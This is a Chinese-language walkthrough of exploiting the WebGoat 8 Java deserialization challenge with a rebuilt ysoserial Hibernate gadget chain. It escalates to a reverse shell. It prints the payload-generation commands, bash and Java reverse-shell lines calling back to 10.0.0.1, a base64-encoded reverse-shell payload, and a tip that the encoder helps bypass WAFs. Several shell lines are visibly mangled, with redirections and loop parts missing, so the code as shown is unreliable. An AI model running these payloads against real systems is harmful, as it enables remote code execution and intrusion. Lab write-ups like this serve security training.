Java反序列化漏洞可以說是Java安全的一塊心病,近年來更是在安全界“出盡風(fēng)頭”。其實(shí)說到Java反序列化的問題,早在2015年年初的在AppSecCali大會上,兩名安全研究人員Chris Frohoff 和 Gabriel Lawrence發(fā)表了一篇題為《Marshalling Pickles》的報(bào)告,就詳細(xì)描述了Java反序列化漏洞可以利用Apache Commons Collections這個(gè)常用的Java庫來實(shí)現(xiàn)任意代碼執(zhí)行,甚至還提供了相應(yīng)的Payload生成工具ysoserial。
通過對象序列化,開發(fā)人員可將內(nèi)存中對象轉(zhuǎn)換為二進(jìn)制和文本數(shù)據(jù)格式進(jìn)行存儲或傳輸。但是,從不受信任的數(shù)據(jù)反序列化對象可能會導(dǎo)致攻擊者實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
本文我將以WebGoat 8中的反序列化挑戰(zhàn)(部署在Docker上)為例,向大家展示完成該挑戰(zhàn)并進(jìn)一步獲取目標(biāo)反向shell的完整過程。
漏洞發(fā)現(xiàn)
正如挑戰(zhàn)中所提到的,易受攻擊的頁面從用戶輸入中獲取Base64格式的序列化Java對象,并不加過濾的對其進(jìn)行反序列化操作。我們將通過提供一個(gè)序列化對象來利用這個(gè)漏洞,該對象將觸發(fā)面向?qū)傩缘木幊替湥≒OP鏈)以在反序列化期間實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行。

啟動Burp并安裝一個(gè)名為Java-Deserialization-Scanner的插件。該插件主要包括2個(gè)功能:掃描以及基于ysoserial生成exploit。

掃描遠(yuǎn)程端點(diǎn)后,Burp插件將向我們返回以下報(bào)告內(nèi)容:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
是個(gè)好消息!
漏洞利用
現(xiàn)在,讓我們繼續(xù)下一步操作。點(diǎn)擊exploitation選項(xiàng)卡以實(shí)現(xiàn)任意命令執(zhí)行。

從提示信息來看,這個(gè)錯(cuò)誤應(yīng)該來自ysoserial。我們回到控制臺看看究竟是什么問題。

通過觀察ysoserial,我看到有兩種不同的POP鏈可用于Hibernate。但使用這些payload后,我發(fā)現(xiàn)它們都沒有在目標(biāo)系統(tǒng)上成功執(zhí)行。

那么,插件又是如何生成payload來觸發(fā)sleep命令的呢?
我決定查看插件的源碼:
https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java
經(jīng)過一番仔細(xì)查看,我發(fā)現(xiàn)原來payload在插件的源碼中是硬編碼的。因此,我們需要找到一種方法來生成相同的payload以使其正常工作。

基于一些研究和幫助我發(fā)現(xiàn),通過修改當(dāng)前版本的ysoserial可以使我們的payload正常工作。我下載了ysoserial的源碼,并決定使用Hibernate 5重新對其進(jìn)行編譯。想要使用Hibernate 5成功構(gòu)建ysoserial,我們還需要將javax.el包添加到pom.xml文件中。
此外,我還向原始項(xiàng)目發(fā)送了一個(gè)Pull請求,以便在選擇hibernate5配置文件時(shí)修復(fù)構(gòu)建。

現(xiàn)在,我們就可以使用以下命令開始重新構(gòu)建ysoserial了:
mvn clean package -DskipTests -Dhibernate5
然后,我們使用以下命令來生成payload:
java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

我們可以通過以下命令訪問docker容器,來驗(yàn)證我們的命令是否已成功執(zhí)行:
docker exec -it /bin/bash
可以看到我們的payload已在目標(biāo)機(jī)器上成功執(zhí)行了!

我們繼續(xù)枚舉目標(biāo)機(jī)器上的二進(jìn)制文件。
webgoat@1d142ccc69ec:/$ which php webgoat@1d142ccc69ec:/$ which python webgoat@1d142ccc69ec:/$ which python3 webgoat@1d142ccc69ec:/$ which wget webgoat@1d142ccc69ec:/$ which curl webgoat@1d142ccc69ec:/$ which nc webgoat@1d142ccc69ec:/$ which perl /usr/bin/perl webgoat@1d142ccc69ec:/$ which bash /bin/bash webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。讓我們嘗試生成一個(gè)可向我們發(fā)送反向shell的payload。
以下是Pentest Monkeys上的一些單行反向shell:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet我決定嘗試Bash反向shell:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但你可能知道java.lang.Runtime.exec()具有一定的局限性,它不支持重定向或管道等shell操作符。
讓我們試試Java編寫的反向shell。我將修改Gadgets.java上的源碼,來生成反向shell payload。
以下是我們需要修改的路徑:
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
從第116到118行。
下面是Pentest Monkeys上提到的一個(gè)Java反向shell,但依然無法正常工作:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]) p.waitFor()
在進(jìn)行了一番修改后,結(jié)果如下:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5/dev/tcp/10.0.0.1/8080;cat &5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
讓我們再次重建ysoserial,并測試生成的payload。

可以看到,這次我們成功獲取到了一個(gè)反向shell!

太棒了!

Payload生成過程概述
在研究過程中,我們發(fā)現(xiàn)了這個(gè)編碼器,它也可以幫助我們完成這個(gè)任務(wù):
http://jackson.thuraisamy.me/runtime-exec-payloads.html
通過以下Bash反向shell命令:
bash -i >& /dev/tcp/[IP address]/[port] 0>&1
將會為我們生成如下payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
另外,該編碼器還可用于繞過WAF哦!不信你就試試~
參考文獻(xiàn)
1、https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
2、http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/
3、https://github.com/frohoff/ysoserial
4、https://github.com/federicodotta/Java-Deserialization-Scanner
|